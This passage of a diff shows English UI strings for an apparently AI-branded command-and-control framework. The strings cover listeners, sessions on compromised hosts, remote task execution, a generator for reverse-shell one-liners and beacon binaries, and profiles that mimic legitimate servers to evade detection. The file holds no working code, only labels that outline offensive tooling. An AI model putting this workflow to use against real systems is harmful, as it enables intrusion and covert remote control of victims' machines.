"callbackHostHint": "Public IP or hostname stored for payloads/beacons; separate from bind address. If empty, payload generation falls back to bind address / auto-detect.",
|
||||
"placeholderRemarkLong": "Optional remark",
|
||||
"editTitle": "Edit Listener",
|
||||
"startedAt": "Started {{time}}",
|
||||
"confirmDelete": "Delete this listener? All related sessions and tasks will be removed.",
|
||||
"toastFillRequired": "Please fill in all required fields",
|
||||
"toastCreated": "Listener created",
|
||||
"toastStarted": "Listener started",
|
||||
"toastStopped": "Listener stopped",
|
||||
"toastDeleted": "Listener deleted",
|
||||
"toastUpdated": "Listener updated",
|
||||
"submitCreate": "Create",
|
||||
"typeLabels": {
|
||||
"http_beacon": "HTTP Beacon",
|
||||
"https_beacon": "HTTPS Beacon",
|
||||
"tcp_reverse": "TCP Reverse",
|
||||
"websocket": "WebSocket"
|
||||
}
|
||||
},
|
||||
"sessions": {
|
||||
"title": "Session Management",
|
||||
"hostname": "Hostname",
|
||||
"username": "Username",
|
||||
"os": "OS",
|
||||
"arch": "Arch",
|
||||
"ip": "IP Address",
|
||||
"status": "Status",
|
||||
"active": "Active",
|
||||
"sleeping": "Sleeping",
|
||||
"dead": "Dead",
|
||||
"isAdmin": "Admin",
|
||||
"pid": "PID",
|
||||
"sleep": "Sleep Interval",
|
||||
"jitter": "Jitter",
|
||||
"firstSeen": "First Seen",
|
||||
"lastCheckIn": "Last Check-in",
|
||||
"selectSession": "Select Session",
|
||||
"terminal": "Terminal",
|
||||
"files": "Files",
|
||||
"tasks": "Tasks",
|
||||
"info": "Info",
|
||||
"execute": "Execute Command",
|
||||
"kill": "Kill Session",
|
||||
"cardDeleteSession": "Delete",
|
||||
"btnSleep": "Sleep",
|
||||
"emptyTitle": "No active sessions",
|
||||
"emptyHint": "Start a listener and run a payload on the target",
|
||||
"unknownHost": "unknown",
|
||||
"rootBadge": "ROOT",
|
||||
"curlBeaconTitle": "Lightweight Curl beacon",
|
||||
"curlBeaconBody": "This session was created with a Curl oneliner: heartbeat and tasks only.\nInteractive terminal and file management require a compiled Beacon binary or a TCP reverse listener.",
|
||||
"infoSessionId": "Session ID",
|
||||
"infoImplantUuid": "Implant UUID",
|
||||
"infoHostname": "Hostname",
|
||||
"infoUsername": "Username",
|
||||
"infoOs": "OS",
|
||||
"infoArch": "Arch",
|
||||
"infoPid": "PID",
|
||||
"infoProcess": "Process",
|
||||
"infoAdmin": "Admin",
|
||||
"infoInternalIp": "Internal IP",
|
||||
"infoSleep": "Sleep",
|
||||
"infoSleepLine": "{{sec}}s (jitter {{jitter}}%)",
|
||||
"infoFirstSeen": "First seen",
|
||||
"infoLastCheckin": "Last check-in",
|
||||
"infoNote": "Note",
|
||||
"adminYes": "Yes",
|
||||
"adminNo": "No",
|
||||
"promptSleepSeconds": "Sleep interval (seconds)",
|
||||
"promptJitterPercent": "Jitter percent (0–100)",
|
||||
"toastSleepUpdated": "Sleep settings updated",
|
||||
"confirmExitSession": "Send exit command to this session?",
|
||||
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
|
||||
"toastExitSent": "Exit command sent",
|
||||
"toastSessionDeleted": "Session record deleted",
|
||||
"terminalWelcome": "CyberStrikeAI C2 Terminal — AI-Native Command & Control",
|
||||
"termStatusReady": "Ready",
|
||||
"termStatusExec": "Executing…",
|
||||
"termStatusErr": "Error",
|
||||
"termStatusTimeout": "Timeout",
|
||||
"termNoSession": "Error: no session selected",
|
||||
"termWaitTimeout": "[Timed out waiting for result]",
|
||||
"termCleared": "Terminal cleared",
|
||||
"termNoSelection": "No text selected",
|
||||
"clearTerminal": "Clear"
|
||||
},
|
||||
"tasks": {
|
||||
"title": "Task Management",
|
||||
"taskId": "Task ID",
|
||||
"type": "Type",
|
||||
"status": "Status",
|
||||
"result": "Result",
|
||||
"error": "Error",
|
||||
"duration": "Duration",
|
||||
"createdAt": "Created At",
|
||||
"queued": "Queued",
|
||||
"sent": "Sent",
|
||||
"running": "Running",
|
||||
"success": "Success",
|
||||
"failed": "Failed",
|
||||
"cancelled": "Cancelled",
|
||||
"viewResult": "View Result",
|
||||
"cancel": "Cancel Task",
|
||||
"refresh": "Refresh Tasks",
|
||||
"pending": "Pending",
|
||||
"emptyAll": "No tasks yet",
|
||||
"emptySession": "No tasks for this session",
|
||||
"colTask": "Task",
|
||||
"colSession": "Session",
|
||||
"colType": "Type",
|
||||
"colStatus": "Status",
|
||||
"colDuration": "Duration",
|
||||
"colCreated": "Created",
|
||||
"colActions": "Actions",
|
||||
"view": "View",
|
||||
"cancelBtn": "Cancel",
|
||||
"modalTitle": "Task details",
|
||||
"labelId": "ID",
|
||||
"labelSession": "Session",
|
||||
"labelType": "Type",
|
||||
"labelStatus": "Status",
|
||||
"labelCreated": "Created",
|
||||
"labelSent": "Sent",
|
||||
"labelCompleted": "Completed",
|
||||
"labelDuration": "Duration",
|
||||
"labelError": "Error",
|
||||
"labelResult": "Output",
|
||||
"toastCancelled": "Task cancelled",
|
||||
"batchDelete": "Delete selected",
|
||||
"selectAll": "Select all on this page",
|
||||
"deleteOne": "Delete task",
|
||||
"deleteBtn": "Delete",
|
||||
"confirmDeleteOne": "Delete this task record from the server? This cannot be undone.",
|
||||
"confirmBatchDelete": "Delete {{n}} selected task record(s)? This cannot be undone.",
|
||||
"toastSelectFirst": "Select tasks to delete first",
|
||||
"toastDeleted": "Deleted {{n}} task(s)",
|
||||
"paginationShow": "Showing {{start}}-{{end}} / {{total}} records",
|
||||
"paginationPerPage": "Per page",
|
||||
"paginationFirst": "First",
|
||||
"paginationPrev": "Previous",
|
||||
"paginationPage": "Page {{current}} / {{total}}",
|
||||
"paginationNext": "Next",
|
||||
"paginationLast": "Last"
|
||||
},
|
||||
"payloads": {
|
||||
"title": "Payload Generator",
|
||||
"oneliner": "Oneliner Payload",
|
||||
"build": "Build Beacon",
|
||||
"listener": "Listener",
|
||||
"kind": "Kind",
|
||||
"host": "Callback Host",
|
||||
"generate": "Generate",
|
||||
"copy": "Copy to Clipboard",
|
||||
"copied": "Copied",
|
||||
"os": "Target OS",
|
||||
"arch": "Target Arch",
|
||||
"buildBtn": "Build",
|
||||
"building": "Building...",
|
||||
"download": "Download",
|
||||
"linux": "Linux",
|
||||
"windows": "Windows",
|
||||
"darwin": "macOS",
|
||||
"amd64": "AMD64",
|
||||
"arm64": "ARM64",
|
||||
"386": "386",
|
||||
"arm": "ARM",
|
||||
"onelinerDesc": "Generate a one-line reverse shell for the target (Bash / Python / PowerShell / Curl).",
|
||||
"buildDesc": "Cross-compile a full Beacon binary for Linux / Windows / macOS.",
|
||||
"hostOptional": "Callback host (optional)",
|
||||
"placeholderListenerHost": "Leave empty: listener callback host, else bind address",
|
||||
"generateOnelinerBtn": "Generate Oneliner",
|
||||
"buildBeaconBtn": "Build Beacon",
|
||||
"loopbackBeaconWarning": "127.0.0.1 works only when the beacon and C2 share the same host and network namespace (simple local test). If C2 runs in Docker and the beacon runs on the host, 127.0.0.1 hits the host loopback, not the container — use the published port plus the host LAN IP or host.docker.internal. For remote targets, bind 0.0.0.0 and rebuild.",
|
||||
"noBeaconListenersTcpOnly": "tcp_reverse supports compiled Beacon (TCP + CSB1 framing); classic shell still uses Oneliner above",
|
||||
"noListenersOption": "No listeners available",
|
||||
"noKindOption": "No kinds available",
|
||||
"toastLoadListenersFail": "Failed to load listeners: {{msg}}",
|
||||
"toastPickListener": "Select a listener first",
|
||||
"toastOnelinerFail": "Failed to generate oneliner: {{msg}}",
|
||||
"toastBuildFail": "Failed to build beacon: {{msg}}",
|
||||
"toastBuildSuccess": "Build succeeded: {{bytes}} bytes",
|
||||
"buildSuccessTitle": "Build succeeded",
|
||||
"buildMetaOsArch": "OS: {{os}} | Arch: {{arch}}",
|
||||
"buildSize": "Size: {{bytes}} bytes",
|
||||
"clickToCopyTitle": "Click to copy",
|
||||
"toastDownloadQueued": "Download task queued"
|
||||
},
|
||||
"events": {
|
||||
"title": "Event Audit",
|
||||
"level": "Level",
|
||||
"category": "Category",
|
||||
"message": "Message",
|
||||
"time": "Time",
|
||||
"info": "Info",
|
||||
"warn": "Warning",
|
||||
"critical": "Critical",
|
||||
"listener": "Listener",
|
||||
"session": "Session",
|
||||
"task": "Task",
|
||||
"payload": "Payload",
|
||||
"opsec": "OPSEC",
|
||||
"refresh": "Refresh",
|
||||
"empty": "No events yet",
|
||||
"batchDelete": "Delete selected",
|
||||
"selectAll": "Select all on this page",
|
||||
"deleteOne": "Delete",
|
||||
"confirmDeleteOne": "Delete this event? This cannot be undone.",
|
||||
"confirmBatchDelete": "Delete {{n}} selected event(s)? This cannot be undone.",
|
||||
"toastSelectFirst": "Select events to delete first",
|
||||
"toastDeleted": "Deleted {{n}} event(s)",
|
||||
"paginationShow": "Showing {{start}}-{{end}} / {{total}} records",
|
||||
"paginationPerPage": "Per page",
|
||||
"paginationFirst": "First",
|
||||
"paginationPrev": "Previous",
|
||||
"paginationPage": "Page {{current}} / {{total}}",
|
||||
"paginationNext": "Next",
|
||||
"paginationLast": "Last"
|
||||
},
|
||||
"profiles": {
|
||||
"title": "Malleable Profile",
|
||||
"name": "Name",
|
||||
"userAgent": "User-Agent",
|
||||
"uris": "URI Paths",
|
||||
"headers": "Headers",
|
||||
"jitter": "Jitter Range",
|
||||
"create": "Create Profile",
|
||||
"createBtn": "+ Create Profile",
|
||||
"delete": "Delete",
|
||||
"empty": "No profiles yet",
|
||||
"defaultValue": "Default",
|
||||
"modalCreateTitle": "Create Malleable Profile",
|
||||
"profileNameLabel": "Profile name",
|
||||
"placeholderProfileName": "e.g. cdn-fronting",
|
||||
"hintUa": "Custom User-Agent for Beacon HTTP requests",
|
||||
"labelBeaconUris": "Beacon URIs (one per line)",
|
||||
"hintUris": "URI paths used when the beacon checks in",
|
||||
"labelJitterMin": "Jitter min (ms)",
|
||||
"labelJitterMax": "Jitter max (ms)",
|
||||
"labelRespHeaders": "Custom response headers (JSON)",
|
||||
"hintHeaders": "HTTP response headers to mimic a legitimate server",
|
||||
"toastNameRequired": "Profile name is required",
|
||||
"toastInvalidHeadersJson": "Invalid JSON in response headers",
|
||||
"toastCreated": "Profile created",
|
||||
"toastDeleted": "Profile deleted",
|
||||
"confirmDelete": "Delete this profile?",
|
||||
"submitCreate": "Create"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user